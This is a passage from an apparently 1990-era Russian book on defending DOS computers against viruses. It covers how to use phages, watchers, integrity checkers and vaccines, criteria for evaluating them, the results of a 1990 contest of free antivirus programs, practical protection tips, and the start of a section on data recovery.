дискету, сделайте ее копию и экспериментируйте только на ней. Если имеется возможность, то выгрузите из архива оригинальные копии программ на другую дискету или на винчестер. После прогона фага опять распечатайте оглавление, сравните длины зараженного и "вылеченного" файлов и визуально просмотрите дампы программ. Для тех программ, данные о длинах которых сохранились (например, в базе данных ревизора) или оригинальные копии которых имеются в архиве, проверьте, правильно ли восстановлена длина. Если такой возможности нет, то предварительно проверьте работоспособность "леченной" программы, а только после этого сгрузите ее обратно на винчестер. Помните, что фаг может запортить программу. И наконец, с помощью детектора и глобального контекстного поиска проверьте полученные результаты: не осталось ли на диске зараженных программ. Следует отметить, что предложенные шаги в полном объеме необходимы только при работе с новым, еще недостаточно изученным вирусом или "самодельным" фагом (например, изготовленным по методике, описанной во второй части данной работы). Для хорошо изученных вирусов, для которых существуют достаточно надежные и проверенные фаги, большинство из этих шагов можно опустить. 10.4.4. Методика использования резидентных сторожей Современные программы-сторожа СHECK21, -D1, -D2, -D3 и др. эффективны против практически всех типов файловых вирусов. Другими устаревшими, но все еще распространенными сторожами являются MaceVaccine и ANTI4US2. Возможности этих программ уже не соответствуют уровню написания современных файловых вирусов, поэтому применять их не рекомендуется. Использование сторожей обязательно при первых запусках нового программного обеспечения, когда возможно не только заражение вирусом, но и немедленное срабатывание троянской компоненты. Следует отметить, что непрерывные ответы на запросы, выдаваемые сторожами, не только снижают эффективность работы, но и подрывают саму обеспечиваемую ими защиту (это относится, прежде всего, к устаревшим сторожам типа FluShot Plus, MaceVaccine, ANTI4US2). Частая выдача запросов на разрешение тех или иных действий неизбежно приводит к тому, что пользователь начинает отвечать на них механически, тем самым сводя на нет обеспечиваемую ими степень защиты. Современные сторожа должны иметь "таблицу свойств" программы, позволяющую блокировать выдачу запросов на разрешение тех или иных операций от соответствующих программ. Например, если программа FORMAT пытается выполнять форматирование диска A, то запрос на разрешение этого действия следует блокировать. Степень обеспечиваемой сторожами защиты не стоит переоценивать. Некоторые типы вирусов обходят сторожей, непосредственно обращаясь к BIOS или используют сплайсинг для получения управления по прерыванию 21. Поэтому их применение должно сочетаться с применением других средств защиты. Например, при использовании сторожей VIRBLK, MaceVaccine, ANTI4US2, не контролирующих целостность системных файлов, в AUTOEXEC.BAT следует включить соответствующую программу контроля (например, VACINE, СП 1-2). Следует отметить, что сторожа могут интерферировать с резидентными программами, а также вызывать срабатывание фагов, проверяющих содержимое оперативной памяти. Последние часто принимают сторожа за вирусы. 10.4.5. Методика использования ревизоров Программы-ревизоры должны входить в арсенал каждого пользователя и регулярно запускаться в каждом сеансе работы с ЭВМ. Существуют два основных типа программ-ревизоров: пакетные (например, DLI) и резидентные. Последние выполняют подсчет контрольных сумм "на лету", т.е. при загрузке программ на выполнение. Несколько устаревший сторож FluShot Plus очень полезен тем, что включает резидентный ревизор, позволяющий "на лету" подсчитывать контрольную сумму для загружаемых файлов. К сожалению, отдельного резидентного ревизора, обеспечивающего подсчет контрольной суммы "на лету", перед передачей файлу управления, пока нет. Помимо специальных программ, в качестве ревизоров могут применяться обычные программы сравнения файлов, например входящие в MS DOS программы FC и COMP. Этот способ полезен для контроля целостности наиболее важных файлов и предполагает наличие переименованной и "хорошо спрятанной" эталонной копии, которую желательно размещать в защищенном от записи разделе винчестера. Ревизоры являются единственным средством, позволяющим следить за целостностью системных файлов и изменениями в используемых каталогах. Их использование особенно важно при работе на "персональных ЭВМ коллективного пользования", которые в СССР сейчас явно преобладают. В этих условиях важно, чтобы ревизор создавал файл, который можно было бы записать на дискету или в собственный каталог, а затем перед началом следующего сеанса работы, выявить произошедшие изменения. Такое использование ревизоров должно сочетаться с "тотальной" проверкой целостности файлов, которую целесообразно проводить централизованно, не реже одного раза в день (например, при включении ЭВМ), причем протоколы проверки целесообразно периодически печатать и сохранять в специальной папке. Следует отметить, что получаемая с помощью ревизоров информация существенно облегчает ориентировку в лабиринте каталогов и "нововведениях" среди трансляторов и используемых утилит. Поэтому их нельзя рассматривать только в контексте защиты от вирусов - в настоящее время они должны являться рабочим инструментом каждого уважающего свой труд программиста. 10.4.6. Вакцинирование "Притворяясь, будто мы попали в расставленную нам ловушку, мы проявляем поистине утонченную хитрость, потому что обмануть человека легче всего тогда, когда он хочет обмануть нас." Франсуа де Ларошфуко Как известно, вакцинирование домашних животных и человека, открытое Л.Пастером, является одним из фундаментальных открытий 20 века. Учитывая аналогию между компьютерными и биологическими вирусами, следовало бы ожидать соответствующей эффективности "кибернетических вакцин", которые изменяют среду функционирования вируса таким образом, что он теряет способность к размножению. Однако на сегодняшний день этот тип антивирусных программ особого распространения не получил. В настоящее время используются два основных типа вакцин: основанные на инактивированном теле вируса и основанные на имитации действий, обеспечивающих положительный ответ на проверку вирусом в запускаемой программе инсталлированной в памяти копии. Инактивированная вакцина может быть получена из тела вируса гораздо быстрее, чем написан соответствующий фаг. Поэтому этот тип вакцин можно рекомендовать как временную меру после обнаружения какого-то нового вируса. Недостатком такого подхода является необходимость рабочего знания языка ассемблера. Первая вакцина, основанная на инактивированном вирусе, была разработана Л.И.Обуховым для вируса RCE-1813 (СП 1-2) и применялась в Киеве при борьбе с эпидемией указанного вируса. Наиболее мощная поливакцина была разработана студентом КИИГА В.В.Пономаренко (СП 2-7) и получила название NEATVAC. Существующая версия NEATVAC обеспечивает защиту от более чем десятка резидентных вирусов и особенно удобна для вузовских машинных залов, где чаще обычного приходится сталкиваться с зараженными программами. В то же время вакцины, как и любые дополнительные резидентные программы, не лишены побочных эффектов, которые могут быть связаны с перехватом прерываний, используемых помимо вируса и какой-нибудь "нормальной" резидентной программой. 10.4.7. Критерии оценки качества антивирусных программ Общим критерием оценки любой антивирусной программы является наличие самотестирования на заражение и отсутствие ложных срабатываний на самом себе. Другим важным критерием є выдача более или менее подробного отчета. В настоящее время это является слабым местом для большинства как бесплатно распространяемых, так и коммерческих программ. Например для фага такой отчет должен включать помимо имени файла и типа заражения хотя бы длину файла до и после выкусывания. Кроме того, в случае обнаружения каких-то аномалий фаг должен выдавать соответствующию информацию и предупреждающие сообщения, а не "резать молча". Наличие качественной документации также является несомненным преимуществом, поскольку встречается крайне редко. Конечно, наши программисты, как никто другой, приспособились обходиться без документации, однако этой их способностью нельзя злоупотреблять. возможность управления областью поиска (глобальный, в поддереве, в одном каталоге, в одном файле); управление суффиксами обрабатываемых файлов; качество интерфейса качество диагностических сообщений; качество выдаваемых сообщений качество параметризации качество документации самотестирование на заражение; возможность обработки файлов с атрибутами HIDDEN; качество выдаваемого протокола; качество документации; размер в К; скорость поиска. оригинальность оформления (видео и звуковое сопровождение). 10.4.7.1. Критерии оценки качества детекторов Если попытаться перечислить критерии оценки качества детектора в порядке убывания их важности то получится следующий список: проверка оперативной памяти и нейтрализация резидентных частей вируса; количество одновременно детектируемых вирусов; диагностирование многократно зараженных разнотипными вирусами файлов; степень параметризации, совместимость по параметрам со SCAN; удобство ввода новых сигнатур для поиска; возможность визуального просмотра дампа найденных файлов; использование эвристических приемов детектирования (диагностирование "подозрительных" переходов до 4К от конца файла, специальных последовательностей команд и др.); наличие средств сокращение количества ложных срабатываний при поиске (комбинирование сигнатур, использование регулярных выражений, определение точки входа и др.); операции с найденными файлами (удаление копирование, переименование и т.д.) диагностирование "спецслучаев" типа программ, сжатых LZEXE, EXEPACK, программ c внутренней сегментацией и др.; Первым критерием оценки качества детектора является наличие проверки оперативной памяти на сигнатуры вирусов. Дело в том, что хотя детекторы не должны запускаться на машине, загруженной с винчестера (т.е. потенциально зараженной), полагаться на добросовестность пользователей было бы опрометчиво. Качественный детектор должен иметь режим выдачи протокола на принтер в виде отчета, а также режим просмотра дампа найденного файл на экране дисплея. Лучшие из детекторов помимо поиска сигнатур используют ряд эвристических приемов, позволяющих выявить потенциально опасные программы. Одним из таких приемов является интерпретация первой команды в COM-файлах и определение расстояния от точки, в которую передается управление, до конца файла. В случае, если это расстояние меньше, скажем 4K (вообще порог срабатывания следует задавать как параметр), такую программу необходимо подвергнуть дополнительнуму анализу. Следует иметь в виду, что сигнатуры, используемые в детекторах часто являются весьма несовершенными, что приводит к многочисленным ложным срабатываниям. При этом качество выдаваемых детекторами диагностических сообщений часто крайне низко, а их текст настолько непродуман, что вызывает "ложную тревогу" и различные недоразумения. Обычно, чем более прост детектор, тем категоричнее выдаваемые им сообщения. Так, большинство детекторов, основанных на простом поиске в файле определенной, характерной для данного вируса строки (т.е. обладающие теми же возможностями диагностики, что и Norton Utilities или PC Tools) в случаях, когда она найдена, выдают "самоуверенное" сообщение типа: Файл XXXX заражен вирусом ZZZZ. На самом деле текст должен выглядеть гораздо скромнее, например: На расстоянии YYYY от конца файла XXXX найдена строка, характерная для вируса ZZZZ. В этом плане характерен пример весьма популярного в нашей стране полидетектора SCAN фирмы McAfee Associates, который детектирует наибольшее число известных вирусов. Этот весьма низкокачественный, по сути любительский детектор дает много ложных срабатываний, в частности, для вирусов RC-1701 и Fu Manchu. Тем не менее пользователи упорно считают выдаваемую им диагностику "окончательным и не подлежащим обжалованию приговором". Автору, как редактору бюллетеня СОФТПАНОРАМА, приходится отвечать на множество звонков, "сигнализирующих" о наличии вирусов в той или иной программе, включенной в очередной выпуск бюллетеня. На вопрос, "Как это Вам удалось установить?", обычно следует стандартный ответ: "С помощью SCAN.". Поэтому при входном контроле программного обеспечения рекомендуется применять несколько детекторов ("батарею") и рассматривать выданные сообщения как результаты голосования. В спорных случаях следует провести визуальный анализ дампа с помощью таких средств как Norton Commander, PC Shell или Norton Utilities. Другой ошибкой, характерной для детекторов является пропуск зараженных вирусом программ (детектор обычно ориентирован на конкретный набор характерных для вируса строк и не может учитывать возможность появления новых штаммов). Например, тот же SCAN пропускает ряд распространяющихся в нашей стране вирусов. Поэтому выдаваемое детекторами в конце работы сообщение типа Нет зараженных файлов следует рассматривать под тем же углом, что и предыдущее сообщение. Кроме того, пропуск зараженных программ детектором возможен из-за "непродуманной оптимизации". Например, ряд детекторов для повышения скорости работы сканируют не весь файл, а только его последние несколько блоков. В случае, если вирус "аномально" сел в середину файла, он будет таким детектором пропущен. Следует также отметить, что неэффективен запуск программ-детекторов для проверки архивированных файлов (т.е. файлов с расширениями .ZIP, .ARC, .ICE, .LZH и т.д.). Для проверки программ, находящихся в архивированном виде, необходимо предварительно их разархивировать, или использовать специальную оболочку, автоматически разархивирующую каждый файл перед передачей детектору. В противном случае детектор не в состоянии проверить содержимое архива, поскольку соответствующие сигнатуры искажены в процессе сжатия информации. Для проверки архивов c помощью SCAN удобно запускать его из оболочки SHEZ (версии 5.5 и более поздние), которая позволяет автоматически разархивировать проверяемые файлы. Это означает, что совместимость со SCAN по передаваемым параметрам обеспечивает важный и удобный режим работы. Тем самым, такая совместимость становится важным критерием оценки качества детектора (как, впрочем, и фага). Рассмотренные выше ошибки были характерны как для детекторов, так и для фагов, поскольку фаг обычно включает в себя детектор. Теперь перейдем к ошибкам, характерным только для фагов. 10.4.7.2. Сравнительный анализ полифагов Помимо критериев, приведенных выше для полидетекторов, полифаги можно оценивать по следующим критериям: количество обрабатываемых вирусов; обработка многократно зараженных файлов; возможность управления временем создания файла (например, сброс и установка 62 с. для заданных файлов); самовосстановление при заражении вирусами (включая неизвестные); лечение многократно зараженных вирусом программ (например, RCE1813); выдача предупреждений при обнаружении файлов аномальной структуры или нестандартных случаев заражения (типа заражения FOXBASE вирусом RCE-1813); В настоящее время большинство полифагов ориентированы на фиксированный набор вирусов и неэффективны против всех остальных типов. Поэтому качество фага прежде всего связано с количеством вирусов, которые он обрабатывает и правильностью его работы. Наряду с этим показателем немаловажное значение имеет удобство интерфейса и выдача более или менее подробного отчета. Такой отчет должен позволять контролировать результаты "лечения" и включать помимо имени файла и типа заражения хотя бы длину файла до и после "выкусывания". Кроме того, обнаружив какие-либо аномалии, фаг должен выдавать предупреждающие сообщения, а не "резать лишь бы резать". Наличие качественной документации также является несомненным достоинством, но, к сожалению, среди некоммерческих программ встречается редко. Как уже указывалось, по выполняемым действиям фаги, особенно сканирующие всю файловую структуру, являются потенциально опасными программами. Например, некоторые фаги проверяют тип файла не по его первым байтам, а по расширению, что ведет к плачевным результатам при лечении EXE-программ с расширением COM или COMпрограмм с расширением ЕXE. Поэтому применять новый, неопробованный фаг, следует только приняв необходимые меры предосторожности, в частности, предварительно отделив зараженные программы от остальных и сняв справки до и после лечения. Кроме того, встречаются фаги, зараженные вирусами (часто другого типа) или даже вирусы, замаскированные под фаги (на одной из первых дискет с антивирусными программами, распространявшейся по стране, имелись две программы - ANTI86 и ANTI87, которые представляли собой вирус С-648 с добавленными к нему для камуфляжа сообщениями). Подобно любой другой часто используемой программе, фаг может содержать троянскую компоненту. Например, если рассматривать пакет антивирусных программ В.Бончева, то учитывая тот факт, что им распрострялась дискета с текстами вирусов (хотя хочется надеяться, что это была "ошибка молодости"), нет никакой гарантии, что в очередной версии один или несколько фагов данного пакета не окажутся троянскими, например будут лечить от одного вируса и заражать другим. В частности, один из вирусов, разработанных в институте ВМЕИ "В.И.Ленин" (В. Бончев называет эту серию вирусов TP-вирусами), модифицирует вирус "Итальянский попрыгунчик" и его несложно выдать за резидентный фаг. Поэтому относиться к программам Бончева, учитывая нездоровый интерес, проявляемый к его имени со стороны техно -крысы Dark Avenger, нужно с осторожностью. Это, впрочем, относится к любой антивирусной программе, полученной из неизвестного или сомнительного источника. Например, на Западе в одной из сетей распространялась троянская программа, которая имитировала заставку FluShot3, представляясь ее новой версией - FluShot4. При запуске этой программы на экране появлялась заставка с запросом "Желаете ли вы инсталлировать программу в систему?". Независимо от сделанного пользователем ответа программа уничтожала системные блоки винчестера и разрушала нулевой сектор на всех доступных дискетах. 10.4.7.3. Критерии оценки и сравнительный анализ ревизоров возможность записи результатов ревизии в отдельный файл, или распределения по отдельным подкаталогам; возможность сохранять первые байты программы; качество алгоритма подсчета контрольной суммы; наличие режима сокращенного подсчета контрольной суммы; диагностика аномалий в дате создания файла (например 62 секунд, 13 месяц, год из следующего столетия и т.д.) возможность выдачи данных ревизии в виде отчета, с указанием размера и даты создания, первых байтов; возможность маркировки файлов перед передачей и снятия маркера; 10.4.7.4. Сравнительный анализ вакцин количество обрабатываемых вирусов самотестирование на заражение нейтрализация резидентных вирусов или блокирование запуска зараженной машине на диагностирование зараженной программы степень наводимых помех при работе 10.4.7.5. Критерии оценки сторожей степень помех при работе блокирование записи или форматирования по 13 прерыванию блокирование изменений в ВООТ и MBR блокирование несанкционарованной постановки программы в резидент наличие звукового сигнала и управление им 10.4.8. О первом конкурсе антивирусных программ, распространяемых бесплатно В феврале 1990 года под руководством автора был проведен первый конкурс антивирусных программ, распространяемых бесплатно. Конкурс проводился в трех классах: фаги, детекторы и ревизоры, резидентные фильтры и вакцины. В классе фагов первое место заняла программа AIDSTEST Д.Н.Лозинского, а второе место - программа DOCTOR А.А.Чижова. В классе детекторов и ревизоров первое место занял ревизор DLI В.Герасимова, а второе место - контекстный детектор VL А.Л.Шеховцова. И, наконец, в классе резидентных фильтров два первых места поделили программы SBM В.Еременко и Б.Мостового и программа CHECK21 В.Двоеглазова. Результаты конкурса могут служить в определенной степени рекомендацией для указанных программ. Вместе с тем указанные жюри достоинства и недостатки этих программ относятся только к версиям, существовавшим на январь 1990 г., и могут быть неверными по отношению к последующим версиям. 10.4.8.1. Оценки и рекомендации жюри по полифагам 10.4.8.1.1. A I D S T E S T Достоинства. Наличие документации удовлетворительного качества. Правильный выбор режима работы по умолчанию (вызов вида AIDSTEST <имя диска> выполняет нейтрализацию резидентных частей вирусов и детектирование). Аккуратное "выкусывание" ТР-вирусов (оставляет всего один-два байта"мусора"). Аккуратное "выкусывание" вируса Bx1 -1C (не оставляет на диске сбойный кластер). Самотестирование на заражение (лечит себя тем же методом, что и остальные программы, что, впрочем, нельзя считать правильным подходом). Пытается обнаружить и нейтрализовать в оперативной памяти резидентные вирусы (хотя предусмотренную возможность работы после нейтрализации нельзя приветствовать - см. ниже. В таких случаях полифаг должен "настаивать" на перезагрузке с защищенной дискеты). С момента появления был и остается бесплатно распространяемой программой. Ранние версии были первым средством по борьбе с C-534 и RCE-1206, использовавшимся в Киеве и применялись на второй стадии борьбы с RСЕ-2885 и RСE-1800. Недостатки. Отсутствует ключ запроса на лечение (аналог ключа /q программы DOCTOR). Неудовлетворительное качество протокола (отсутствует длина зараженной и "вылеченной" программы, слишком категоричная форма диагностических сообщений, хотя вместо "исцелен" иногда получается "испорчен"). Зацикливается на ЕС1840. Тестируемая версия не диагностировала вирус TP45, причем не выдавалось сообщение о "подозрительном" хвосте файла. Оошибка в ключах (вместо /G /C). Некорректно работает на файлах, зараженных несколькими вирусами(зацикливается). Алгоритм поиска вирусов в оперативной памяти нуждается в доработке (не распознает RELEASE как специальный случай; при наличии RELEASE в памяти, не детектируется наличие ряда резидентных вирусов, например RCE1800). Не проводит дополнительного анализа структуры обрабатываемой программы с целью обнаружения аномалий, затрудняющих или делающих невозможным стандартный подход к лечению, в частности неверно обрабатывает случай типа "зараженный RСE-1813 FOXBASE". До сентября 1989 г. был практически неизвестен в Киеве. 10.4.8.1.2. D O C T O R Достоинства. Корректно обрабатывает "тонкие и сложные" случаи заражения, выдавая при этом информативную диагностику, в частности, выдает предупреждение при лечении FOXBASE, зараженного RCE-1813. Корректно обрабатывает многократно зараженные файлы, за исключением случая, когда одним из вирусов является вирус RСE1206. Имеется ключ, позволяющий принимать решение о лечении в зависимости от имени зараженного файла (при этом было бы полезно выдавать дополнительную информацию, относящуюся к данному файлу, в частности, его длину). Устойчивая работа на самых разных типах ЭВМ, включая EC1840. Самотестирование на заражение (хотя данная версия лечит себя тем же методом, что и остальные программы, что нельзя считать правильным подходом). Пытается обнаружить и нейтрализовать в памяти вирусы (хотя как и в случае AIDSTEST, предусмотренную возможность работы после нейтрализации нельзя приветствовать - см. ниже; в таких случаях полифаг должен "настаивать" на перезагрузке с защищенной дискеты). Ранние версии использовались в Киеве для борьбы с эпидемией вируса RСЕ-1813 наряду с фагом FAG1813 Л.И.Обухова. Недостатки. Отсутствует документация. Неверно выбран режим работы по умолчанию (запуск вида DOCTOR <имя диска> вызывает попытку нейтрализации имеющихся резидентных вирусов и лечение вместо детектирования зараженных программ). В тестированной версии неверно выдается диагностическое сообщение о типе найденного вируса при правильных действиях по его "выкусыванию". Некорректно обрабатывает вирус RСЕ-1206 в случае многократного заражения. Не удаляет с диска псевдосбойный кластер после чистки вируса Bx1-1C. С сентября по ноябрь очередные версии не были доступны. 10.4.8.2. Оценки и рекомендации жюри по детекторам и ревизорам 10.4.8.2.1. D L I Достоинства DLI. Простота установки и использования. Возможность ускоренного просмотра с проверкой только даты и длины файлов. Обработка деревьев произвольной структуры. Специальный формат и имя файлов с контрольной информации. Полезность в качестве инструмента общего назначения, облегчающего анализ изменений в каталогах, а не только для борьбы с вирусами. Своевременность появления - первая версия была создана еще до начала эпидемии вирусом и могла использоваться с самого начала борьбы с вирусами. Недостатки DLI. Нет режима сокращенной обработки контрольных сумм COM- и EXE-файлов (аналогично тому, как это реализовано в программе SPEEDCHK Л.Шнайдера). Нет режима группировки всей контрольной информации в главном каталоге или специальном подкаталоге. Невозможность использования на защищенных от записи дисках. Нельзя остановить по Ctrl-Break. Нет возможности задать периодическую проверку. Нет возможности изменить имена файлов с результатами ревизии, а также распечатать содержащуюся в них информацию. Нельзя исключить некоторые ветви из проверки и задать проверяемые типы файлов. 10.4.8.2.2. V L Достоинства VL. Простота, возможность настройки, оптимизация поиска, оконный интерфейс. Недостатки VL. нестандартный интерфейс (например, неудобен переход к окну более высокого уровня - принято использовать клавишу <Esc>). Невозможна комбинация нескольких масок для одного вируса. Слишком жесткое ограничение длины строк для поиска (15 символов это мало, необходимо около 72 символов). Невозможен визуальный просмотр файла с найденной маской. Неудачный набор поставляемых масок (они слишком коротки для автоматического поиска и некоторые из них дают много ложных срабатываний). Реклама Rтехнологии в контексте столь простой программы представляется несколько неуместной. 10.4.8.3. Оценки и рекомендации жюри по сторожам и вакцинам 10.4.8.3.1. S B M и C H E C K 2 1 Достоинства SBM и CHECK21. Элегантная и оригинальная идея, лежащая в основе программы. Эффективное блокирование всех известных файловых вирусов. Отсутствие помех пользователю при работе. Недостатки SBM. Не выдает никаких сообщений, что не позволяет обнаружить наличие зараженных програм проходившая испытания версия SBM неправильно обрабатывает случай снятия программы по CtrlBreak. Имеет совершенно неудовлетворительную документацию. Отсутствует файл со списком исключений (он необходим, чтобы не выдавать "лишние" сообщения для "нормальных" программ, перехватывающих прерывание 21h, например LEXICON или Turbo C). Недостатки CHECK21. Хотя СHECK21 выдает достаточно информативные сообщения, он не имеет режима их отключения. Не поддерживается файл исключений. Следует отметить, что с момента окончания конкурса авторы уже выпустили ряд новых версий, в которых безусловно улучшили надежность, спектр распознаваемых вирусов и функциональные возможности своих программ (последние версии, в частности, проводят самотестирование и проверяют наличие в памяти резидентных вирусов после своего запуска). Среди полифагов, разработанных после окончания конкурса, следует отметить AV И.В.Сысоева и Kxx Е.Н.Сусликова. В отличие от AIDSTEST и DOCTOR, они написаны на ассемблере. Особый интерес представляет полифаг Kxx, который является первой реализацией незаражаемого полифага и использует ряд оригинальных алгоритмов. При сравнимых функциональных возможностях обе эти программы очень компактны и имеют достаточно удачный набор режимов работы. Применяя антивирусные программы на разных ЭВМ в реальных условиях, пользователи часто сталкиваются с ошибками и неточностями работы, воспроизвести которые в ходе тестирования не всегда удается (например, интерференция между резидентными фильтрами и другими резидентными программами), ошибками при выполнении тех или иных действий (например, для фага - уничтожение программ при "выкусывании"), побочными эффектами и другими особенностями той или иной антивирусной программы. Эта информация имеет огромную ценность как для авторов, которые заинтересованы в совершенствовании своих программ, так и для объективной оценки программы. Значительная часть ее не может быть получена в ходе тестирования и анализа этой же программы в экспериментальной обстановке. Ваши мнения, предложения или дополнительную информацию по программам, упомянутым в данной работе, а также всем программам, публикуемым в бюллетене СОФТПАНОРАМА, высылайте автору. Наиболее интересные из них будут помещены в раздел FORUM бюллетеня. 10.5. Отдельные приемы защиты "Привычка - вторая натура" Латинская пословица В данный раздел включены некоторые приемы, которые хотя и носят вспомогательный характер, в то же время достаточно важны для того, чтобы предпринять специальные меры по их выделению из массы приводимого материала. 10.5.1. Регулярно оптимизируйте винчестер Как уже указывалось, периодически следует оптимизировать расположение файлов на винчестере с помощью утилиты SpeeDisk Нортона или другой аналогичной утилиты. Эту операцию целесообразно проводить не реже раза в месяц, сразу после выгрузки содержимого винчестра на дискеты (создания главного архива). в процессе оптимизации файлы можно расположить на диске таким образом, чтобы наиболее часто используемые находились ближе к началу диска. Для этой цели можно скорректировать поле даты таким образом, чтобы у наиболее часто используемых файлов дата создания была меньше, чем у используемых редко, а затем задать режим упорядочения файлов по дате. Помимо этого SpeeDisk позволяет также задать порядок расположения каталогов и имена нескольких наиболее часто используемых файлов. Ежедневно перед окончание работы следует проводить "уборку винчестера" є дефрагментацию созданных файлов. После дефрагментации все файлы занимают последовательные группы кластеров, что существенно облегчает их восстановление даже в случае тяжелых повреждений управляющих блоков. 10.5.2. Прятать новые версии антивирусных программ просто невыгодно "Что ты спрятал , то - пропало. Что ты отдал, то - твое" Ш.Руставели Получив новую, более эффективную антивирусную программу, некоторые не стремятся передать ее другим пользователям, рассматривая ее наличие как некоторое преимущество. Ошибочность политики "примитивного эгоизма" в случае антивирусных программ состоит в том, что, передав программу всем своим знакомым, Вы как бы создаете дополнительную зону защиты, на которой тот или иной вирус может быть обнаружен и изолирован еще до попадания на Вашу ЭВМ. Поэтому бескорыстная передача новых версий антивирусных программ представляет, по сути, политику "разумного эгоизма": за Ваше более безопасное положение Вы отдаете чужие, доставшиеся Вам бесплатно программы, да еще и получаете причитающуюся Вам долю уважения за кажущееся бескорыстие этих действий. 10.5.3. Нормальное состояние дискеты - защищенное от записи Существенным конструктивным дефектом 5-дюймовых дискет является необходимость заклейки выреза клейкой фольгой для защиты от записи. При этом фольга, как и сами дискеты является дефицитом. Тем не менее, рекомендуется считывать информацию с дискеты, в особенности на "чужих" машинах, только с защищенных от записи дискет. Вообще нормальным состоянием дискеты является "заклеенное" и защита должна сниматься только в случае записи на нее информации. В условиях дефицита наклеек из фольги, для этой цели можно использовать "самодельные", состоящие из полоски фольги, наклеенной на прозрачную липкую ленту (SCOTCH) или темную изоленту. В случае, когда у вас на машине не оказалось наклейки, а Вам нужно защитить дискету от записи можно сложить пополам полоску бумаги, так чтобы она закрывала соответствующую прорезь и аккуратно вставить ее в дисковод вместе с дискетой. 10.5.4. Как работать на зараженном файловым вирусом компьютере при отсутствии вакцины Иногда необходимо работать на компьютере, который постоянно инфицируется любителями компьютерных игр или по каким-то другим причинам. В этом случае можно избежать заражения используемых программ путем создания искусственной мишени для вируса. Поскольку подавляющее большинство файловых вирусов заражает программу при ее запуске, можно обмануть вирус двумя основными способами. Во-первых, можно предварительно переименовать все файлы типа COM и EXE (например, в PGM и LNK) и использовать для их запуска на выполнение виртуальный диск. При этом достаточно написать простые BAT-файлы, в которых программа сначала копируется на виртуальный диск, затем переименовывается, выполняется и удаляется. При отсутствии достаточного количества оперативной памяти для организации виртуального диска требуемого размера, для этой цели можно использовать один из разделов винчестера, хотя это несколько замедляет работу. Более высокую степень защиты обеспечивает модификация этого способа, основанная на свертке каталога архиватором. При этом процедура запуска аналогична предыдущей, однако на первом шаге BAT-файла вместо копирования соответствующий файл сначала разархивируется на виртуальный диск (или раздел винчестера). Преимуществом этого способа (если держать архиватор на виртуальном диске) является экономия места на диске, а недостатком - увеличение времени поиска программ при загрузке, связанное с просмотром архива. Автор разработал последний способ после одного неудачного эксперимента с вирусом RСE-1800, когда "вырвавшийся на свободу" вирус заразил несколько десятков файлов на винчестере (никакими специальными ЭВМ для экспериментов автор не располагает, поэтому все эксперименты проводятся "с риском для винчестера" на обычном персональном компьютере коллективного пользования). Вместе с тем, данный способ оказался достаточно удачным и с тех пор широко используется автором для экономии места на винчестере. Особенно полезен данный способ для мелких, сравнительно редко используемых программ, если на используемой машине установлен винчестер размером 20M или меньше. В этом случае на винчестере создается рабочий каталог (например, WORK), в который выполняется разархивирование. Этот каталог включается в PATH перед каталогом BAT, а в Norton Commander (или другую используемую оболочку) включается команда очистки этого каталога. Поскольку из каталога WORK разархивированная программа не удаляется, то дополнительное время на разархивацию тратится только при первом обращении к программе. Конечно, следует предусмотреть соответствующий BAT-файл для запуска программы (в простейшем случае это может быть BAT-файл RUN, которому в качестве первого параметра передается имя выполняемой программы. Для "монстрообразных" программ (например, программ, написанных на Clipper'е) более удобно использование архиватора LZEXE (см. СП 2-9). Например, программа PCTools занимает на диске около 200K, половину из которых можно сэкономить, сжав ее с помощью LZEXE. 10.5.5. При хранении антивирусных программ на винчестере, используйте архивирование При хранении антивирусных программ в виде специального каталога на винчестере желательно свернуть их в архив, а перед использованием разархивировать на виртуальный диск или в тот же каталог, а затем удалять. Это позволяет избежать заражения антивирусных программ, не обладающих средствами самотестирования на зараженность, новыми типами вируса, которые, естественно, ими не детектируются (в лучшем случае может быть выдано предупреждающее сообщение). 10.5.6. Использование макетов программ типа DUMYxxxx для определения место нахождения спрятанных байтов В ряде случаев приходится "лечить" файлы вручную, используя только редактор двоичных файлов (например, RED). В этом случае первостепенное значение имеет выяснение расположения "спрятанных" вирусом байтов. В частности, для COM-файлов в большинстве случаев достаточно восстановить первые три байта, чтобы дезактивировать вирус. При наличии некоторых навыков, после проверки правильности работы дезактивированной программы можно легко удалить тело вируса редактором. При определении местонахождения спрятанных байтов удобно использовать "неразборчивость" вирусов, которые не проверяют, какие файлы им "подсовывают для заражения". Поэтому вместо настоящего можно создать файл, состоящий из одинаковых символов и заразить его изучаемым вирусом. Поскольку в простейшем случае этот файл неисполняемый, то в случае резидентного вируса, заражающего запускаемые на выполнение программы, после заражения MS DOS зависнет и Вам придется перегрузиться. Однако зараженный файл сохранится и окажет неоценимую помощь при анализе. Обычно достаточно нескольких экспериментов, чтобы определить местонахождение "спрятанных байтов". Это позволяет выяснить их местонахождение без дисассемблирования. Немного зная ассемблер, можно легко сделать и исполняемый макет, состоящий из требуемого количества команд NOP (однобайтовая команда с кодом 90h) и выхода с помощью INT 20 или INT 21-4C. Некоторые вирусы заражают только файлы, начинающиеся с команды перехода. В таких случаях необходимо поставить в качестве первой команды команду JMP. Для создания таких дрозофил удобно использовать программу DEBUG, входящую в состав MS DOS. Техника работы с этой програмой подробно описана во всех учебниках по языку Ассемблера для IBM PC. 10.6. Методика восстановления информации "Ничего не потеряно, пока не потеряно все" Пословица Необходимо отметить, что даже в достаточно тяжелых случаях, восстановление поврежденной информации чаще всего возможно (по крайней мере, частичное), однако требует достаточно высокой квалификации. Именно в этот момент "вступают в игру" архивированные системные блоки, наличие которых на дискете позволяет существенно облегчить восстановление. Наряду со свежими архивными копиями системных блоков в такой ситуации важное значение имеет наличие системных программистов, способных оценить характер и объем повреждения, а также умеющих выполнить восстановление при разрушенных или отформатированных системных блоках или других массивных повреждениях файловой системы. При отсутствии собственных системных программистов, представляется оправданным приглашение их со стороны. Профессиональные организации программистов, подобные Киевскому обществу системных программистов, также могут оказать помощь в восстановлении информации. В других городах также можно найти системных программистов или организацию, которая, на льготных условиях может предоставить какие-то дополнительные услуги по восстановлению информации. Конечно степень усилий во многом зависит от ценности потерянной информации. В силу ограниченности обьема книги остановимся лишь на наиболее общих принципах организации восстановления информации. 10.6.1. Создайте и отработайте план восстановления винчестера ! "Кто приготовился к бою, тот его наполовину выиграл" М.Сервантес Встреча с каким-нибудь коварным компьютерным вирусов может и не состояться. Но огорчаться не стоит. Экстемальных ситуаций в программировании хоть отбавляй и место вируса наверняка не окажется вакантным. Поэтому вопрос не в том, потеряете ли вы данные, записанные на винчестер, а лишь в том, когда это произойдет. Следовательно уже сейчас стоит подумать над вопросом о том, как реагировать на это неприятное событие, которое обычно случается в самый 